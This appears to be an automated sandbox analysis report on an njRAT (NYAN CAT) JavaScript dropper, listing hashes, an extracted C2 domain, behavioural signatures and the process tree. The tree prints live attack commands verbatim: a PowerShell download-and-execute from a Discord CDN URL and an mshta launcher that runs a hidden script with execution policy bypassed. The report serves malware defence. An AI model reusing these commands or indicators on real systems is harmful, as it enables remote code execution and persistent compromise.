njrat | ba2680549e33524c3b96c4b2be01c47297e977fe7532034936d8baa4f6dc3104

General

Target

34ce23e0cac1eb85e253f52b87c53436.js
Size

256B
MD5

34ce23e0cac1eb85e253f52b87c53436
SHA1

fbc026960fc1009eae89f7506276a5e153ec58ec
SHA256

ba2680549e33524c3b96c4b2be01c47297e977fe7532034936d8baa4f6dc3104
SHA512

488b7d7cc0a3a723273f4bac17f4b45daa9c894d03af15b6c14e84d9f9b4ee3fa7d263b03fb3c12c78361a4a9d92b77a6e7a25e323b9494e937ba1ca6be92c9d

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cdn.discordapp.com/attachments/908377323814916189/915315815404953630/yuniiii.txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

yuni2022.duckdns.org:2000

Mutex

4ab2234479534

Attributes

reg_key
4ab2234479534
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

8 4200 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 872 set thread context of 2400 872 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4200 powershell.exe
4200 powershell.exe
4200 powershell.exe
872 powershell.exe
872 powershell.exe
872 powershell.exe

flow	pid	process
8	4200	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs	powershell.exe

description	pid	process	target process
PID 872 set thread context of 2400	872	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings	powershell.exe

pid	process
4200	powershell.exe
4200	powershell.exe
4200	powershell.exe
872	powershell.exe
872	powershell.exe
872	powershell.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	4200	powershell.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe
Token: 33	2400	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2400	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

wscript.exepowershell.exeWScript.execmd.exemshta.exepowershell.exe

description	pid	process	target process
PID 3544 wrote to memory of 4200	3544	wscript.exe	powershell.exe
PID 3544 wrote to memory of 4200	3544	wscript.exe	powershell.exe
PID 4200 wrote to memory of 3212	4200	powershell.exe	WScript.exe
PID 4200 wrote to memory of 3212	4200	powershell.exe	WScript.exe
PID 3212 wrote to memory of 4296	3212	WScript.exe	cmd.exe
PID 3212 wrote to memory of 4296	3212	WScript.exe	cmd.exe
PID 4296 wrote to memory of 3948	4296	cmd.exe	mshta.exe
PID 4296 wrote to memory of 3948	4296	cmd.exe	mshta.exe
PID 3948 wrote to memory of 872	3948	mshta.exe	powershell.exe
PID 3948 wrote to memory of 872	3948	mshta.exe	powershell.exe
PID 872 wrote to memory of 2400	872	powershell.exe	aspnet_compiler.exe
PID 872 wrote to memory of 2400	872	powershell.exe	aspnet_compiler.exe
PID 872 wrote to memory of 2400	872	powershell.exe	aspnet_compiler.exe
PID 872 wrote to memory of 2400	872	powershell.exe	aspnet_compiler.exe
PID 872 wrote to memory of 2400	872	powershell.exe	aspnet_compiler.exe
PID 872 wrote to memory of 2400	872	powershell.exe	aspnet_compiler.exe
PID 872 wrote to memory of 2400	872	powershell.exe	aspnet_compiler.exe
PID 872 wrote to memory of 2400	872	powershell.exe	aspnet_compiler.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\34ce23e0cac1eb85e253f52b87c53436.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3544

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass iex ((New-Object Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/908377323814916189/915315815404953630/yuniiii.txt'))
2⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4200

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"
3⤵
- Suspicious use of WriteProcessMemory
PID:3212

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:4296

C:\Windows\system32\mshta.exe
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")
5⤵
- Suspicious use of WriteProcessMemory
PID:3948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'
6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:872

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
436d34973ce4cd269582c6fff8fc1322

SHA1
686b9c8820a2f587fb515336ab413f9c70e5daa9

SHA256
7528fc9257d7804f123f2f813f2a3b3e4eca3a7dd9deb752999bfe2f617a1aa5

SHA512
125ed1fc1b7a81ebb54a26c853646f10e1d8c868ca24c9ab408fa137ab52efed38d4b65eca51b85506342a23b6b9ac0beaee89ea60d4502bf6242290e24c1173

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS
MD5
558a8b7b3fdef4ca79110f8cfd126694

SHA1
d6e96ca27f701b3f4c24885dacd14c762a9d36b0

SHA256
38c9b7098371b39e61a6dcf78370dddf47f4d2be2c32704a2a0310b76c52c0f7

SHA512
37d6d72d5f518aaf1cf37154ed75aec7c7f11677508874eb3c3cbf44ca0ebeb22112dfa5f45a2f5d821604c521092ef768016d83f948444a9ff2e2a812d1c283

Download Submit
C:\Users\Admin\AppData\Roaming\SystemLogin.bat
MD5
7f85382953fde20b101039d48673dbd2

SHA1
5ebaa67f5862b2925d9029f4761b7e2ce9a99dd9

SHA256
fde417ad1b13a97acfa8e409789a92c4c3ddf6303851337ca31b94bfac634e4f

SHA512
6e93b74237844e1f78cd3ae64c0a00702c0b1aa1febda2feb52ca99b8a58ab2efd0c7b8351f040bf56a8bc1a8f5b1f57c4a9ffed46f8a2f9cba898e8e138ce46

Download Submit
C:\Users\Public\myScript.ps1
MD5
b7ce758a456d759c9c8d9d165de473bc

SHA1
eb07b9f9a21b12945cd461d970b925698183b8f5

SHA256
0d44b8e8222a09eecef416a78409757ac190eae8bd7c0ceb2880791eedeec295

SHA512
8c239aa579b8e3875a271a730755c8ee2f83ac72b248270090a8bc025850ac2bd81100dac6118935a10ab686f7e295d599ee99a94779446db5b9cc30110cea04

Download Submit
memory/872-176-0x0000018BBD246000-0x0000018BBD248000-memory.dmp

Filesize
8KB

Download
memory/872-159-0x0000000000000000-mapping.dmp

Download
memory/872-164-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/872-162-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/872-189-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/872-186-0x0000018BD5A50000-0x0000018BD5A53000-memory.dmp

Filesize
12KB

Download
memory/872-185-0x0000018BD5A40000-0x0000018BD5A45000-memory.dmp

Filesize
20KB

Download
memory/872-181-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/872-180-0x0000018BD5A30000-0x0000018BD5A32000-memory.dmp

Filesize
8KB

Download
memory/872-179-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/872-175-0x0000018BBD243000-0x0000018BBD245000-memory.dmp

Filesize
8KB

Download
memory/872-174-0x0000018BBD240000-0x0000018BBD242000-memory.dmp

Filesize
8KB

Download
memory/872-172-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/872-168-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/872-167-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/872-163-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/872-161-0x0000018BBB8B0000-0x0000018BBB8B2000-memory.dmp

Filesize
8KB

Download
memory/2400-195-0x00000000055F0000-0x0000000005AEE000-memory.dmp

Filesize
5.0MB

Download
memory/2400-196-0x0000000005700000-0x0000000005701000-memory.dmp

Filesize
4KB

Download
memory/2400-194-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

Download
memory/2400-193-0x0000000005AF0000-0x0000000005AF1000-memory.dmp

Filesize
4KB

Download
memory/2400-192-0x0000000005550000-0x0000000005551000-memory.dmp

Filesize
4KB

Download
memory/2400-188-0x000000000040676E-mapping.dmp

Download
memory/2400-187-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/3212-152-0x0000000000000000-mapping.dmp

Download
memory/3948-157-0x0000000000000000-mapping.dmp

Download
memory/3948-158-0x0000025459E18000-0x0000025459E20000-memory.dmp

Filesize
32KB

Download
memory/4200-136-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-128-0x0000026847580000-0x0000026847581000-memory.dmp

Filesize
4KB

Download
memory/4200-119-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-120-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-118-0x0000000000000000-mapping.dmp

Download
memory/4200-135-0x000002682F3A0000-0x000002682F3A2000-memory.dmp

Filesize
8KB

Download
memory/4200-134-0x000002682F396000-0x000002682F398000-memory.dmp

Filesize
8KB

Download
memory/4200-133-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-129-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-154-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-123-0x000002682F390000-0x000002682F392000-memory.dmp

Filesize
8KB

Download
memory/4200-122-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-127-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-124-0x000002682F393000-0x000002682F395000-memory.dmp

Filesize
8KB

Download
memory/4200-126-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-121-0x000002682D450000-0x000002682D452000-memory.dmp

Filesize
8KB

Download
memory/4200-125-0x000002682F330000-0x000002682F331000-memory.dmp

Filesize
4KB

Download
memory/4296-156-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads